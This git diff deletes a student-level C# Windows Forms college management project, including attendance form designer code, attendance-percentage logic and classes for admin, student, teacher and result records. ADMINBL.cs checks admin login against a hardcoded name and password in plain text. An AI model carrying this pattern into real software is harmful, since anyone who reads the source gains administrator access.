System.Windows.Forms.TableLayoutPanel(); - this.NumberBox = new System.Windows.Forms.TextBox(); - this.label3 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.NameBox = new System.Windows.Forms.TextBox(); - this.label7 = new System.Windows.Forms.Label(); - this.label8 = new System.Windows.Forms.Label(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 17.5F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 82.5F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel5, 1, 1); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 19.11111F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 80.88889F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(800, 450); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.ColumnCount = 2; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 42.20184F)); - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 57.79816F)); - this.tableLayoutPanel5.Controls.Add(this.label7, 0, 3); - this.tableLayoutPanel5.Controls.Add(this.label4, 0, 0); - this.tableLayoutPanel5.Controls.Add(this.label5, 0, 1); - this.tableLayoutPanel5.Controls.Add(this.monthBox, 1, 1); - this.tableLayoutPanel5.Controls.Add(this.textBox1, 1, 2); - this.tableLayoutPanel5.Controls.Add(this.label6, 0, 2); - this.tableLayoutPanel5.Controls.Add(this.label8, 1, 3); - this.tableLayoutPanel5.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel5.Location = new System.Drawing.Point(143, 88); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 4; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 51.5873F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 48.4127F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 70F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 162F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(654, 359); - this.tableLayoutPanel5.TabIndex = 1; - this.tableLayoutPanel5.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel5_Paint); - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.BackColor = System.Drawing.Color.Black; - this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.ForeColor = System.Drawing.Color.White; - this.label4.Location = new System.Drawing.Point(115, 26); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(46, 13); - this.label4.TabIndex = 0; - this.label4.Text = "Detalis"; - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.BackColor = System.Drawing.Color.Black; - this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.ForeColor = System.Drawing.Color.White; - this.label5.Location = new System.Drawing.Point(89, 87); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(98, 17); - this.label5.TabIndex = 2; - this.label5.Text = "Month Name"; - // - // monthBox - // - this.monthBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.monthBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.monthBox.Location = new System.Drawing.Point(344, 85); - this.monthBox.Name = "monthBox"; - this.monthBox.Size = new System.Drawing.Size(242, 20); - this.monthBox.TabIndex = 1; - this.monthBox.TextChanged += new System.EventHandler(this.monthBox_TextChanged); - // - // textBox1 - // - this.textBox1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox1.Location = new System.Drawing.Point(344, 151); - this.textBox1.Name = "textBox1"; - this.textBox1.Size = new System.Drawing.Size(242, 20); - this.textBox1.TabIndex = 3; - // - // label6 - // - this.label6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label6.AutoSize = true; - this.label6.BackColor = System.Drawing.Color.Black; - this.label6.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.ForeColor = System.Drawing.Color.White; - this.label6.Location = new System.Drawing.Point(78, 152); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(119, 17); - this.label6.TabIndex = 4; - this.label6.Text = "No.Of Presents"; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Bottom; - this.tableLayoutPanel2.Location = new System.Drawing.Point(143, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(654, 79); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.White; - this.label1.FlatStyle = System.Windows.Forms.FlatStyle.System; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.Location = new System.Drawing.Point(235, 26); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(184, 27); - this.label1.TabIndex = 2; - this.label1.Text = "Attendance Form"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.tableLayoutPanel4, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 88); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 2; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(134, 359); - this.tableLayoutPanel3.TabIndex = 2; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.NumberBox, 0, 3); - this.tableLayoutPanel4.Controls.Add(this.label3, 0, 2); - this.tableLayoutPanel4.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel4.Controls.Add(this.NameBox, 0, 1); - this.tableLayoutPanel4.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 4; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 44F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 56F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 31F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 37F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(128, 130); - this.tableLayoutPanel4.TabIndex = 0; - // - // NumberBox - // - this.NumberBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.NumberBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.NumberBox.Location = new System.Drawing.Point(3, 101); - this.NumberBox.Name = "NumberBox"; - this.NumberBox.Size = new System.Drawing.Size(122, 20); - this.NumberBox.TabIndex = 3; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.White; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.Location = new System.Drawing.Point(17, 67); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(94, 19); - this.label3.TabIndex = 2; - this.label3.Text = "Roll Number"; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.White; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.Location = new System.Drawing.Point(40, 4); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(47, 19); - this.label2.TabIndex = 0; - this.label2.Text = "Name"; - // - // NameBox - // - this.NameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.NameBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.NameBox.Location = new System.Drawing.Point(3, 34); - this.NameBox.Name = "NameBox"; - this.NameBox.Size = new System.Drawing.Size(122, 20); - this.NameBox.TabIndex = 1; - // - // label7 - // - this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label7.AutoSize = true; - this.label7.BackColor = System.Drawing.Color.Green; - this.label7.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.ForeColor = System.Drawing.Color.White; - this.label7.Location = new System.Drawing.Point(84, 268); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(108, 19); - this.label7.TabIndex = 1; - this.label7.Text = "Save And Next"; - this.label7.Click += new System.EventHandler(this.label7_Click); - // - // label8 - // - this.label8.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label8.AutoSize = true; - this.label8.BackColor = System.Drawing.Color.Green; - this.label8.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label8.ForeColor = System.Drawing.Color.White; - this.label8.Location = new System.Drawing.Point(362, 268); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(205, 19); - this.label8.TabIndex = 5; - this.label8.Text = "View All Student Attendance"; - this.label8.Click += new System.EventHandler(this.label8_Click); - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources._3589030; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(134, 79); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // AttendanceForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(800, 450); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "AttendanceForm"; - this.Text = "AttendanceForm"; - this.Load += new System.EventHandler(this.AttendanceForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel5.ResumeLayout(false); - this.tableLayoutPanel5.PerformLayout(); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.TextBox NumberBox; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox NameBox; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.TextBox monthBox; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label8; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AttendanceForm.cs b/Add Code Here/C#/CMS/AttendanceForm.cs deleted file mode 100644 index 6816289e48f..00000000000 --- a/Add Code Here/C#/CMS/AttendanceForm.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS.DL -{ - public partial class AttendanceForm : Form - { - static int count=0; - public AttendanceForm() - { - InitializeComponent(); - } - - private void AttendanceForm_Load(object sender, EventArgs e) - { - if (count < STUDENTDL.StudentList1.Count) - { - NameBox.Text = STUDENTDL.StudentList1[count].Name1; - NumberBox.Text = STUDENTDL.StudentList1[count].RollNumber1; - } - } - - private void tableLayoutPanel5_Paint(object sender, PaintEventArgs e) - { - - } - - private void monthBox_TextChanged(object sender, EventArgs e) - { - - } - - private void label7_Click(object sender, EventArgs e) - { - if (count < STUDENTDL.StudentList1.Count) - { - int month = int.Parse(monthBox.Text); - float days=0; - try - { - days = float.Parse(textBox1.Text); - - } - catch(Exception) - { - MessageBox.Show("Please Enter Correct Number"); - } - string Name= STUDENTDL.StudentList1[count].Name1; - float percentage = AttendanceClass.calculatePercentage(month, days); - MessageBox.Show("Total Percentage is " + percentage); - AttendanceClass Object = new AttendanceClass(Name, percentage); - AttendanceDL.addAttendanceIntoList(Object); - count++; - AttendanceForm Form = new AttendanceForm(); - this.Close(); - Form.Show(); - } - if(count >= STUDENTDL.StudentList1.Count) - { - this.Close(); - AdminMenu menu = new AdminMenu(); - menu.Show(); - } - } - - private void label8_Click(object sender, EventArgs e) - { - if(AttendanceDL.AttendanceData1.Count+1 >= STUDENTDL.StudentList1.Count) - { - AllAttendanceForm attendance = new AllAttendanceForm(); - this.Close(); - attendance.Show(); - } - else - { - AllAttendanceForm attendance = new AllAttendanceForm(); - this.Close(); - attendance.Show(); - MessageBox.Show("Please Add Full Student Data"); - } - } - } -} diff --git a/Add Code Here/C#/CMS/AttendanceForm.resx b/Add Code Here/C#/CMS/AttendanceForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/AttendanceForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/BL/ADMINBL.cs b/Add Code Here/C#/CMS/BL/ADMINBL.cs deleted file mode 100644 index 2b1ed30e822..00000000000 --- a/Add Code Here/C#/CMS/BL/ADMINBL.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using CMS.Properties; - -namespace CMS.BL -{ - class ADMINBL - { - private string Name; - private string Password; - - public string Name1 { get => Name; set => Name = value; } - public string Password1 { get => Password; set => Password = value; } - public ADMINBL(string Name,string Password) - { - this.Name = Name; - this.Password = Password; - } - public bool isAdmin() - { - if(this.Name == "Ali" && Password == "ali123@") - { - return true; - } - return false; - } - } -} diff --git a/Add Code Here/C#/CMS/BL/AttendanceClass.cs b/Add Code Here/C#/CMS/BL/AttendanceClass.cs deleted file mode 100644 index 35427e635f7..00000000000 --- a/Add Code Here/C#/CMS/BL/AttendanceClass.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace CMS.BL -{ - class AttendanceClass - { - private string name; - private float percentage; - public AttendanceClass(string name,float percentage) - { - this.Name = name; - this.Percentage = percentage; - } - - public string Name { get => name; set => name = value; } - public float Percentage { get => percentage; set => percentage = value; } - - public static float calculatePercentage(float month,float days) - { - float percentage = 0; - if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) - { - percentage = (100 * days) / 31; - } - else if (month == 4 || month == 6 || month == 9 || month == 11) - { - percentage = (100 * days) / 30; - } - else if (month == 2) - { - percentage = (100 * days) / 28; - } - - return percentage; - } - } -} diff --git a/Add Code Here/C#/CMS/BL/ResultBL.cs b/Add Code Here/C#/CMS/BL/ResultBL.cs deleted file mode 100644 index 54bacc6417d..00000000000 --- a/Add Code Here/C#/CMS/BL/ResultBL.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace CMS.BL -{ - class ResultBL - { - private string name; - private string password; - private float urdu; - private float math; - private float english; - private float computer; - private float physics; - private float total; - public ResultBL(string Name,float urdu,float math,float english,float computer,float physics,string password) - { - this.Name = Name; - this.Urdu = urdu; - this.Math = math; - this.Physics = physics; - this.Computer = computer; - this.English = english; - this.password = password; - this.Total = this.Urdu + this.Physics + this.Math + this.English + this.Computer; - } - public string Name { get => name; set => name = value; } - public float Urdu { get => urdu; set => urdu = value; } - public float Math { get => math; set => math = value; } - public float English { get => english; set => english = value; } - public float Computer { get => computer; set => computer = value; } - public float Physics { get => physics; set => physics = value; } - public float Total { get => total; set => total = value; } - public string Password { get => password; set => password = value; } - } -} diff --git a/Add Code Here/C#/CMS/BL/STUDENTBL.cs b/Add Code Here/C#/CMS/BL/STUDENTBL.cs deleted file mode 100644 index 5888e6ea0ba..00000000000 --- a/Add Code Here/C#/CMS/BL/STUDENTBL.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace CMS.BL -{ - public class STUDENTBL - { - private string Name; - private string Father_Name; - private float Matric_Marks; - private string Course; - private string RollNumber; - private string Cnic; - private string Section; - private string Password; - private string Bankid; - public STUDENTBL(string Name,string Father_Name,float Matric_Marks,string Course,string RollNumber,string Cnic,string Section,string Password,string Bankid) - { - this.Name1 = Name; - this.Father_Name1 = Father_Name; - this.Course1 = Course; - this.Cnic1 = Cnic; - this.Bankid1 = Bankid; - this.Matric_Marks1 = Matric_Marks; - this.RollNumber1 = RollNumber; - this.Section1 = Section; - this.Password1 = Password; - } - - public string Name1 { get => Name; set => Name = value; } - public string Father_Name1 { get => Father_Name; set => Father_Name = value; } - public float Matric_Marks1 { get => Matric_Marks; set => Matric_Marks = value; } - public string Course1 { get => Course; set => Course = value; } - public string RollNumber1 { get => RollNumber; set => RollNumber = value; } - public string Cnic1 { get => Cnic; set => Cnic = value; } - public string Section1 { get => Section; set => Section = value; } - public string Password1 { get => Password; set => Password = value; } - public string Bankid1 { get => Bankid; set => Bankid = value; } - } -} diff --git a/Add Code Here/C#/CMS/BL/TEACHERBL.cs b/Add Code Here/C#/CMS/BL/TEACHERBL.cs deleted file mode 100644 index abf070260f4..00000000000 --- a/Add Code Here/C#/CMS/BL/TEACHERBL.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace CMS.BL -{ - class TEACHERBL - { - private string Name; - private string Post; - private string Subject; - private string CNIC; - private string Phone_Number; - private float Salary; - private string Id; - private string Password; - public TEACHERBL(string Name,string Post,string Subject,string CNIC,string Phone_Number,float Salary,string Id,string Password) - { - this.Name1 = Name; - this.Password1 = Password; - this.Phone_Number1 = Phone_Number; - this.Post1 = Post; - this.Salary1 = Salary; - this.Subject1 = Subject; - this.CNIC1 = CNIC; - this.Id1 = Id; - } - - public string Name1 { get => Name; set => Name = value; } - public string Post1 { get => Post; set => Post = value; } - public string Subject1 { get => Subject; set => Subject = value; } - public string CNIC1 { get => CNIC; set => CNIC = value; } - public string Phone_Number1 { get => Phone_Number; set => Phone_Number = value; } - public float Salary1 { get => Salary; set => Salary = value; } - public string Id1 { get => Id; set => Id = value; } - public string Password1 { get => Password; set => Password = value; } - } -} diff --git a/Add Code Here/C#/CMS/CMS.csproj b/Add Code Here/C#/CMS/CMS.csproj deleted file mode 100644 index f2ed4f7654d..00000000000 --- a/Add Code Here/C#/CMS/CMS.csproj +++ /dev/null @@ -1,369 +0,0 @@ - - - - - Debug - AnyCPU - {24374694-55BA-41B2-81C4-5E479159954D} - WinExe - CMS - CMS - v4.7.2 - 512 - true - true - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - Form - - - AddResultForm.cs - - - Form - - - AddStudentForm.cs - - - Form - - - AddTeacherForm.cs - - - Form - - - AdminMenu.cs - - - Form - - - AllAttendanceForm.cs - - - - - - - - Form - - - ChangePasswordForm.cs - - - - Form - - - AttendanceForm.cs - - - - - - Form - - - TimeTableFrom.cs - - - Form - - - EditPassword.cs - - - Form - - - EditUserForm.cs - - - Form - - - Form1.cs - - - Form - - - LoginForm.cs - - - Form - - - LoginFormForUser.cs - - - Form - - - NoticeForm.cs - - - - - Form - - - RemoveStudentForm.cs - - - Form - - - RemoveTeacherForm.cs - - - Form - - - ResultForm.cs - - - Form - - - ShowResultForm.cs - - - Form - - - StudentLoginForm.cs - - - Form - - - StudentMenu.cs - - - Form - - - StudentNotice.cs - - - Form - - - TeacherMenu.cs - - - Form - - - UpdateRecordForm.cs - - - Form - - - UsersForm.cs - - - Form - - - ViewAllStudent.cs - - - Form - - - ViewAllTeachers.cs - - - Form - - - ViewDataForm.cs - - - AddResultForm.cs - - - AddStudentForm.cs - - - AddTeacherForm.cs - - - AdminMenu.cs - - - AllAttendanceForm.cs - - - AttendanceForm.cs - - - ChangePasswordForm.cs - - - TimeTableFrom.cs - - - EditPassword.cs - - - EditUserForm.cs - - - Form1.cs - - - LoginForm.cs - - - LoginFormForUser.cs - - - NoticeForm.cs - - - ResXFileCodeGenerator - Resources.Designer.cs - Designer - - - True - Resources.resx - True - - - RemoveStudentForm.cs - - - RemoveTeacherForm.cs - - - ResultForm.cs - - - ShowResultForm.cs - - - StudentLoginForm.cs - - - StudentMenu.cs - - - StudentNotice.cs - - - TeacherMenu.cs - - - UpdateRecordForm.cs - - - UsersForm.cs - - - ViewAllStudent.cs - - - ViewAllTeachers.cs - - - ViewDataForm.cs - - - - - - SettingsSingleFileGenerator - Settings.Designer.cs - - - True - Settings.settings - True - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/CMS.sln b/Add Code Here/C#/CMS/CMS.sln deleted file mode 100644 index 4c3e55d03f1..00000000000 --- a/Add Code Here/C#/CMS/CMS.sln +++ /dev/null @@ -1,25 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.32228.343 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CMS", "CMS.csproj", "{24374694-55BA-41B2-81C4-5E479159954D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {24374694-55BA-41B2-81C4-5E479159954D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {24374694-55BA-41B2-81C4-5E479159954D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {24374694-55BA-41B2-81C4-5E479159954D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {24374694-55BA-41B2-81C4-5E479159954D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {D416557A-B4A5-43D3-A21C-979632D6BE7F} - EndGlobalSection -EndGlobal diff --git a/Add Code Here/C#/CMS/ChangePasswordForm.Designer.cs b/Add Code Here/C#/CMS/ChangePasswordForm.Designer.cs deleted file mode 100644 index 1273c6db665..00000000000 --- a/Add Code Here/C#/CMS/ChangePasswordForm.Designer.cs +++ /dev/null @@ -1,404 +0,0 @@ - -namespace CMS -{ - partial class ChangePasswordForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label3 = new System.Windows.Forms.Label(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.button1 = new System.Windows.Forms.Button(); - this.savebutton = new System.Windows.Forms.Button(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel6 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.label7 = new System.Windows.Forms.Label(); - this.label8 = new System.Windows.Forms.Label(); - this.label9 = new System.Windows.Forms.Label(); - this.nameBox = new System.Windows.Forms.TextBox(); - this.fatherBoxBox1 = new System.Windows.Forms.TextBox(); - this.passwordBox = new System.Windows.Forms.TextBox(); - 